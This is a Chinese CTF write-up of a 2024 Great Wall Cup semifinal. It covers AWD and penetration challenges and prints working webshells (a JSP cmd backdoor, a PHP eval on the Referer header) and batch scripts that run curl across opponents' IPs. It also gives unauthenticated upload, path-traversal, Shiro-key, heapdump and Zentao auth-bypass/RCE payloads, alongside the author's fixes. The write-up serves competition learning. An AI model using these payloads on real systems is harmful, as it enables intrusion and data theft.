第一届长城杯信息安全铁人三项赛半决赛 WriteUp

半决赛第二赛区在贵州，awd第一，最后第七，可惜渗透没打好

AWD

30分钟一轮，一个flag 5分，check不过扣200，相当于被40个队打，太亏了，全场就80多个队，没必要修太多导致check不过

Java JSP

预留后门

D盾可以直接扫描出一个后门

一开始就发现了，前几波拿这个后门上了很多分，可能大家都去看php，忘修这个了吧

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<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.IOException" %><%--
  Created by IntelliJ IDEA.
  User: 007
  Date: 2018/11/28
  Time: 10:12
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmdParameter = request.getParameter("cmd1");
    if (cmdParameter != null && !cmdParameter.isEmpty()) {
        try {
            // 构建系统命令
            ProcessBuilder processBuilder = new ProcessBuilder();
            processBuilder.command("sh", "-c", cmdParameter);

            // 执行命令并获取输出
            Process process = processBuilder.start();
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            // 输出命令执行结果
            out.println("Command executed successfully. Output:\n" + output.toString());
        } catch (IOException e) {
            out.println("Error executing command: " + e.getMessage());
        }
    }
%>
<html>
<head>
    <title>找回密码</title>
    <link rel="stylesheet" href="resources/css/bootstrap.min.css">
    <link href="resources/css/forget.css" type="text/css" rel="stylesheet"/>
</head>
<body>
<h1 style="margin: 50px 80px; color: darkgray; font-family: cursive;">欢迎来到教务系统</h1>
<div class="main">
    <form role="form" action="sendCode.jsp" method="post">
        <div class="form-group" align="center">
            <input class="form-control" type="text" name="user" placeholder="输入用户名"><br>
            <input type="submit" class="btn btn-success" value="下一步">
            <input type="button"  class="btn btn-info" value="取消" style="margin-left: 20px" onclick="window.location.href='login.jsp'">
        </div>
    </form>
</div>
<script src="resources/js/jquery-3.2.1.min.js"></script>
<script src="resources/js/popper.min.js"></script>
<script src="resources/js/bootstrap.min.js"></script>
</body>
</html>

payload：

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/forget.jsp?cmd1=要执行的命令

批量攻击

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import requests
import re

for i in range(101,200):
    url = f"http://172.19.{i}.52:8080/forget.jsp?cmd1="
    try:
        # req = requests.get(url+"nohup ./apache2 1>/dev/null 2>/dev/null &",timeout=0.5)
        req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag")
        print(f"172.19.{i}.52",end="-")
        print(req.text.split("\n")[6])
    except:
        print("next")

修复的话cmd1换复杂点的密码就行了，担心改太多check没过

文件上传

该服务的数据库文件data.sql，在创表的时候，默认添加了个教师权限的账户

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admin/admin1

教师端的个人信息上传头像处存在任意文件上传

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package servlet;

import com.jspsmart.upload.File;
import com.jspsmart.upload.Request;
import com.jspsmart.upload.SmartUpload;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet({"/upload_teacherImg"})
public class upload_teacherImg extends HttpServlet {
    public upload_teacherImg() {
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doGet(request, response);
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html;charset=utf-8");
        response.setCharacterEncoding("utf-8");
        request.setCharacterEncoding("utf-8");
        PrintWriter out = response.getWriter();
        SmartUpload smartUpload = new SmartUpload();
        Request rq = smartUpload.getRequest();
        ServletConfig config = this.getServletConfig();
        smartUpload.initialize(config, request, response);

        try {
            smartUpload.upload();
            String id = rq.getParameter("id");
            File smartFile = smartUpload.getFiles().getFile(0);
            smartFile.saveAs("/userImg/" + smartFile.getFileName().toString());
            out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>");
        } catch (Exception var9) {
            out.print(var9);
        }

    }
}

通过注册得到的学生权限账户上传文件则是500

删掉cookie也能打，未授权上传任意文件，转去intruder批量传马就行了

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import requests
import re

for i in range(101,200):
    url = f"http://172.19.{i}.52:8080/userImg/2.jsp?pwd=023&i="
    try:
        # req = requests.get(url+"nohup ./apache2 1>/dev/null 2>/dev/null &",timeout=0.5)
        req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag")
        print(f"172.19.{i}.52",end="-")
        print(req.text.split("\n")[6])
    except:
        print("next")

修复的话，加个黑名单waf就好了

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private static final String[] BLACKLIST_EXTENSIONS = {".jsp", ".jspx", ".jspf", ".jsw", "jspa", "jsv", "jtml"};
...
        try {
            smartUpload.upload();
            String id = rq.getParameter("id");
            File smartFile = smartUpload.getFiles().getFile(0);
            
            // 检查文件扩展名是否在黑名单中
            if (!isExtensionAllowed(smartFile.getFileName())) {
                throw new IllegalArgumentException("Fuck you ~");
            }
            
            smartFile.saveAs("/userImg/" + smartFile.getFileName().toString());
            out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>");
        } catch (Exception var9) {
            out.print(var9);
        }
...
...
private static boolean isExtensionAllowed(String fileName) {
        for (String extension : BLACKLIST_EXTENSIONS) {
            if (fileName.toLowerCase().endsWith(extension)) {
                return false;
            }
        }
        return true;
    }
...

反编译class文件并重新编译：https://blog.csdn.net/weixin_39660224/article/details/106722129

jadx导出为java文件，再重新编译：

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javac -classpath D:\java\security\ccb\src\main\webapp\ROOT\WEB-INF\lib\* .\upload_teacherImg.java

可以选择加个参数避免乱码-encoding UTF-8或者-encoding GBK

php cms

预留后门

d盾可以扫出一个后门/app/api/controller/v1/Token.php

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   public function test(){
    @eval(getallheaders()['Referer']);
}

直接去调用这个test方法，传入Referer的值就行了

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/api/v1.token/test
Referer:system("curl http://10.10.1.50:9028/competition/flagManager/getFlag");

批量攻击

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import requests

for i in range(101, 200):
    url = f"http://172.19.{i}.42/api/v1.token/test"
    try:
        headers = {'Referer': 'system("curl http://10.10.1.50:9028/competition/flagManager/getFlag");'}
        req = requests.post(url, headers=headers)
        print(f"172.19.{i}.42", end="-")
        print(req.text)
    except Exception as e:
        print("next")

修的话，注释掉那个命令执行就行了

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//@eval(getallheaders()['Referer']);

文件上传

比赛时利用sql文件建库的时候留了个上传类型的后门phtml（官方拉取下来的项目并没有phtml）

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composer create-project --prefer-dist funadmin/funadmin funadmin

复现时，在官方下的sql文件加上phtml，在搭建环境

先注册个号，再点击头像上传（后面发现是未授权的，不需要每一个ip的服务都注册账号），直接打未授权文件上传就行了

前端后缀名校验，bp改一下后缀名为phtml就行了

上传到了/storage/uploads/20240501/3f232941d17949b39942f598f43b42f7.phtml路径下

这里使用bp批量上传木马，没有使用脚本，响应的木马文件名也是随机了，当时来不及写匹配脚本利用了，就自己手打了2轮多，时间也是够用

设置变化值为ip中间那个值，bp开跑就行了

修的话，

本地查看/config/database.php，用数据库密码连接，删除其中的phtml，并不能修好

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UPDATE `fun_config` SET `value` = 'mp4,mp3,png,gif,jpg,jpeg,webp', `update_time` = UNIX_TIMESTAMP() WHERE `id` = 31;

找到实现上传功能的文件/frontend/controller/Ajax.php

加个白名单waf

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// 允许上传的文件后缀名
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'mp4', 'mp3'];

// 获取上传的文件
$file = $this->request->file('file');

// 检查文件是否为空
if (!$file) {
    throw new Exception('No file uploaded.');
}

// 获取文件后缀名
$extension = strtolower(pathinfo($file->getOriginalName(), PATHINFO_EXTENSION));

// 检查文件后缀是否在白名单中
if (!in_array($extension, $allowedExtensions)) {
    throw new Exception('Fuck you ~');
}

不影响功能的正常使用

任意文件读取

还是在/frontend/controller/Ajax.php

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/**
     * @return \think\response\Json
     * 获取文件
     */
    public function getfile($file)
    {
        $file = root_path().'public/storage/uploads/'.$file;
        // 检查文件是否存在
        if (!file_exists($file)) {
            $result = ['code' => 0, 'msg' => lang('file not exists!')];
            return json($result);
        }

        // 获取文件名
        $fileName = basename($file);

        // 设置HTTP响应头
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=' . $fileName);
        header('Content-Length: ' . filesize($file));

        // 读取文件并输出给用户
        readfile($file);

        // 终止脚本继续执行
        exit;
    }

很直白的文件读取，没有任何过滤

payload

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/frontend/Ajax/getfile?file=../../../../../../etc/passwd

由于flag是通过curl http://10.10.1.50:9028/competition/flagManager/getFlag获取的，使用这个任意文件读取并不能获取到flag

加个替换为空就行了

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$file = str_replace("../","",$file);
$file = str_replace("flag","",$file);

DocToolkit

预留后门

jadx反编译，翻到个预留后门

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/test/backd0or?cmd=cat /etc/passwd

批量利用

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import requests
import re

for i in range(101,200):
    url = f"http://172.19.{i}.32:8080/test/backd0or?cmd="
    try:
        # req = requests.get(url+"nohup ./apache2 1>/dev/null 2>/dev/null &",timeout=0.5)
        req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag")
        print(f"172.19.{i}.32",end="-")
        print(req.text.split("\n")[6])
    except:
        print("next")

修：点击文件->保存项目，导出为java文件

把后门路径改复杂点

解压jar包

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jar -xvf .\DocToolkit-0.0.1-SNAPSHOT.jar

重新编译修改的这个java文件就行了

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javac -classpath C:\Users\HONOR\Desktop\Doc\resources\BOOT-INF\lib\* .\TestController.java

再用bandzip打开原来jar包，把编译好的class文件托进去覆盖掉就行了

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java -jar DocToolkit-0.0.1-SNAPSHOT.jar

这样就修好咯

Shiro反序列化

可以翻到shiro key

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QZIysgMYhG7/CzIJlVpR1g==

拿工具看看能不能打通，起在虚拟机找不到利用链，本地就行

比赛的时候全场的shiro key应该是一样的，所以可以批量打

最后放个批量提交flag脚本

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import requests
url = "http://10.10.1.50:2301/competition/awdController/submitFlag"
f = open("flags","r").readlines()
header= {
    "Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MTM3NDUxODgsInVzZXJJZCI6ImQxNDgyMzkxYmRmMjgwZWQ3NGE3ZDFhZTRiN2VjYzZhIn0.Ckfzrd8uMWMwn5-79h6lnHJXoJC4quiUt2BwKqUx5wM"
}
for i in f:
    try:
        data = {
        "competitionId":"ce8aeddc22641cae2d707e5318f72b7c",
        "commitFlag":i.split("-")[1],
        "commitDockerIp":i.split("-")[0]
        }
        req = requests.post(url,data=data,headers=header)
        print(req.text)
    except:
        pass

ISW

MultiBC

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.\fscan64.exe -h 172.17.171.10 -p 1-65535

可以扫出来个thinkphp的nday

写马后，蚁剑连接，根目录下有个flag

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ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.171.10  netmask 255.255.255.0  broadcast 172.18.171.255
        inet6 fe80::f841:d3ff:fe24:9200  prefixlen 64  scopeid 0x20<link>
        ether fa:41:d3:24:92:00  txqueuelen 1000  (Ethernet)
        RX packets 353420  bytes 30531156 (30.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 377907  bytes 33234724 (33.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 147290  bytes 11923923 (11.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 147290  bytes 11923923 (11.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

扫网段，有个ftp未授权，可以下下来个OA源码压缩包，再分别扫ip

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   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.18.171.30   is alive
[*] Icmp alive hosts len is: 1
172.18.171.30:22 open
172.18.171.30:8080 open
172.18.171.30:59696 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://172.18.171.30:8080 code:302 len:0      title:None 跳转url: http://172.18.171.30:8080/login;jsessionid=69DC67E85C9C9A089677FF464E999412
[*] WebTitle: http://172.18.171.30:8080/login;jsessionid=69DC67E85C9C9A089677FF464E999412 code:200 len:3860   title:智联科技 ERP 后台登陆
[+] http://172.18.171.30:8080 poc-yaml-spring-actuator-heapdump-file
[+] http://172.18.171.30:8080 poc-yaml-springboot-env-unauth spring2
已完成 2/3 [-] ssh 172.18.171.30:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

发现泄露路径在:8080/actuator/heapdump

JDumpSpider梭一下

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java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt
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CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

找到key，拿工具直接利用拿shell，然后家目录下有个pwn题，没打通，没找到其他flag

shiro那台机子还有另一个网段，有另一台内网机子，当时时间已经不大够了

SingleBC2

扫描网站目录发现存在backup.zip文件，下载后发现流量文件，提取zip文件解压爆破密码后获取flag

后面比赛结束了才发现流量包导出的文件中还藏了个1000分的flag

SingleBC1

打禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709，比赛时没发现这个poc，亏大了，亏我本地还存了poc

权限绕过：

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import requests

header={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}

def bypasscookie(url,session):
    target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
    r=session.get(target,headers=header)
    zentaosid=r.cookies.get_dict()['zentaosid']
    print(zentaosid)

    header["Cookie"]="zentaosid="+zentaosid
    resp=session.get(url+"/index.php?m=my&f=index",headers=header)
    if "/shandao/www/index.php?m=user&f=login" not in resp.text:
        print("绕过登陆验证")
    else:
        print("无法绕过验证")



if __name__ == '__main__':
    url="http://127.0.0.1:8081/shandao/www/"
    session=requests.Session()
    bypasscookie(url,session)

后台RCE：

先创建Gitlab代码库,拿到repoID

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POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68

创建好后，去到
http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑

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POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
CTF writeup
#CTF
第一届长城杯信息安全铁人三项赛半决赛 WriteUp
https://www.supersmallblack.cn/2024长城杯信息安全铁人三项赛半决赛 WP.html
作者
Small Black
发布于
2024年5月2日
许可协议